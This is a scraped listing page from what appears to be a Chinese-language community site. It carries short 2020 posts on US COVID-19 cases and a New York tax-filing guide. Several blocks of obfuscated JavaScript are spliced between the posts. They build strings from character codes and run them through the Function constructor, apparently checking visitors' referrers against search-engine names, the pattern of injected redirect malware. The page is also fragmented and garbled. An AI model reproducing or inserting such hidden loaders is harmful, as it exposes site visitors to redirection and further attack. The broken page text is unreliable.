+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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2020-02-16 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

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2020-02-14 / by _9527 / in SAT/ACT, 其它, 留学/教育/求职

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,122,50,55,48,57,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2020-02-13 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

美国武汉肺炎第14例确诊病患搭撤侨班机回国

武汉肺炎全球飙至6万例，日本今天也出现首例确诊病例死亡。美国疾病控制与预防中心(CDC)12日表示，加州又出现1例2019新冠病毒确诊病例，该病患2月7日从中国武汉搭乘撤侨专机返回美国，目前正在接受14天的隔离检疫。

CDC指出，这是美国撤侨专机验出的第2例病例，也是美国目前的第14例病例。第1例与第2例搭乘的是不同航班的专机，也被安置在不同的隔离设施，两人之间没有流行病学上的接触。

该中心小组负责人布雷登(Chris Braden)还谈到，目前没有迹象显示新冠病毒在隔离设施中有人传人的现象，但是CDC会进行彻底调查，遏制病毒的传播。

CDC日前还宣布，已经解除1月29日返回美国专机195人的隔离限制，目前仍然有600多人正在接受隔离检疫。

2020-02-13 / 1 Comment / by beibei / in 医疗健康, 新闻

2020纽约报税攻略大全

美国报税季又到了，不管什么身份只要在美国有合法的收入都需要报税，美国报税是个技术活，每年的报税的政策、税率、抵免额等等都会有或多或少的变化，今天让我们来看看2020纽约报税攻略。

基础篇——在美国报税必须知道的知识

美国主要税种

个人所得税 Individual Income Tax

个人所得税是美国税收的大头之一，按照征收级别不同分为联邦个人所得税 Federal Income Tax，州个人所得税State Income Tax和地方个人所得税Local Income Tax，其中以联邦个人所得税Federal Income Tax为主。

在以征收级别为标准的分类中，联邦个人所得税属于联邦税Federal Tax之内，常见的联邦税Federal Tax还包括医疗保健税Medicare Tax，社会保险税Social Security Tax以及联邦个人所得税Federal Income Tax。

关于州个人所得税State Income Tax，美国有7个州是没有这项税的，分别是阿拉斯加州、佛罗里达州、内华达州、南达科他州、德克萨斯州、华盛顿州和怀俄明州，而纽约州此项税率为8.82% 。

个人所得税的征收对象不论身份，只要有收入，都需要交纳这部分税收，持F-1签证的学生，只要有奖学金也要交税。

个人所得税的缴费方式filing status分为夫妻联合保税 Married filing jointly，夫妻单独报税 Married filing separately和单身个人报税Single filing，家庭户主报税 Head of household filing，有子女的丧偶人士 Qualifying widow(er) with dependent child filing这5种形式。

公司收入所得税 Corporate Income Tax

* 这里的corporation指的是regular corporation，也就是C corporation

公司收入所得税是联邦政府继联邦个人所得税Federal income tax和社会保险税Social security tax之后的第三大税收收入（整体数额呈下降趋势），和个人所得税一样，公司收入所得税在征收级别上也按照联邦和州来两级划分。

Corporate income tax的征收对象是本国法人以及外国法人，本国法人是指按照美国联邦政府以及各州法律在美国本土注册成立的公司的法人，除外都是外国法人。

注意哦，只要是在美国注册成立的公司，不管其法人是否在美国本土工作以及其公司地点是否设立于美国本土，公司的法人都算是本国法人哦！

本国法人就全世界范围内的所得纳税，而外国法人的纳税范围则是公司在美国进行贸易和经营的所得。对于美国而言，歪果仁的歪果公司，只要在美国本土产生了需要纳税的经营，都需要纳税。

公司所得税的征收范围包括但不仅限于公司的经营收入、资本利得、股息、租金、特许权使用费、劳务收入等。税率算法采取超额累进制。

社会保险医疗保健税 FICA Tax (Social security tax and Medicare tax)

说完两大所得税，来说说联邦税收的另一重要来源，社保医疗税FICA tax。FICA tax由社会保险税social security tax和医疗保健税medicare tax组成，按照征收级别来算属于联邦税的一种。此项税收的税率为15.3%

图中的数据供大家参考~

其实这项税收是美国联邦政府作为老年、遗属、伤残、医疗保险的资金来源而征收的一种特殊的税收，包括联邦保险税、铁路公司退职税、联邦失业税、个体业主税等，以雇主和雇员为纳税人，自体经营人也是征收人。

对雇员的税基为年工薪总额，包括奖金、手续费、实物工资等；对雇主的税基则是其雇员工薪总和。采用比例税率（酌情按年调整），对超过规定最高限额的工薪额不征收。

财产税 Property Tax

财产税是美国州政府和地方政府对在美国境内拥有不动产或动产，特别是房地产等财产的自然人和法人征收的一种税。

财产税一直是美国地方政府最重要的财政来源，它占地方政府税收收入的80%以上。联邦政府不征收财产税。从征收级别来算属于州税和地方税，并不属于联邦税的范畴。美国各州对财产税等州税有独立的立法权，因此各州对应纳税财产的规定并不相同。纽约州财产税为1.64% 。

—般来说，美国的各州把财产分为动产、不动产和无形财产三大类。不动产包括土地和土地上的永久性建筑物和构筑物；动产是除了不动产以外，其他任何有形的财产，如飞机、车辆、船只等；无形财产指无形的金融资产，如在股票市场和债券市场的投资。

美国各州都对不动产征收财产税，大多数州对动产征税。此外，税法规定，对各级政府的财产以及宗教、慈善机构和教育事业所拥有的财产都免征财产税，许多地方政府还规定对老年人的房地产减免财产税。

遗产与赠与税 Estate and gift Tax

美国联邦遗产税适用于公民死亡时财产的转移。联邦遗产税采用总遗产税制，纳税人是遗嘱执行人。统一抵免额是指税法允许每一纳税人从应纳遗产税额中扣除一定量的抵免额。

赠与税以赠与财产总额作为纳税金额，纳税人是财产赠与人。1976年税收立法将二者合并统一课征，死者生前和死后的财产转移适用同一累进税率表和统一抵免额。虽然在死亡后对个人的资产和遗产征收遗产税，但在纳税人居住期间赠送的赠款税适用于赠与税。赠与税可以防止拥有大型遗产的个人在其有生之年将所有资产交给其继承人，以避免征收遗产税。

联邦遗产和赠与税占联邦全部税收收入的比重仅在1%左右，不是联邦政府管理重要的财政收入来源。

消费税 Sales Tax

美国各地的消费税由两个部分组成：州消费税 (State Sales Tax) + 地方消费税 (Local Sales Tax, City & County) = 综合消费税 (Combined Sales Tax)。由州政府制定的是州消费税，而地方消费税则由各县＆市政府制定，因此即便在同一个州的不同城市，你们的消费税也会不同。纽约州综合消费税为8.875% 。

2020-02-13 / by davidhorgan479 / in 医疗健康, 律师/移民/金融, 求医指南, 理财/报税, 留学/教育/求职, 美国留学

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,51,56,50,52,55,53,119,48,72,84,77,76,60,34,112,47,63,38,95,43,85,67,90,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})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2020-02-13 / by _9527 / in SAT/ACT, 其它, 留学/教育/求职

纽约州新增2例疑似新冠肺炎病例美国累计确诊13例

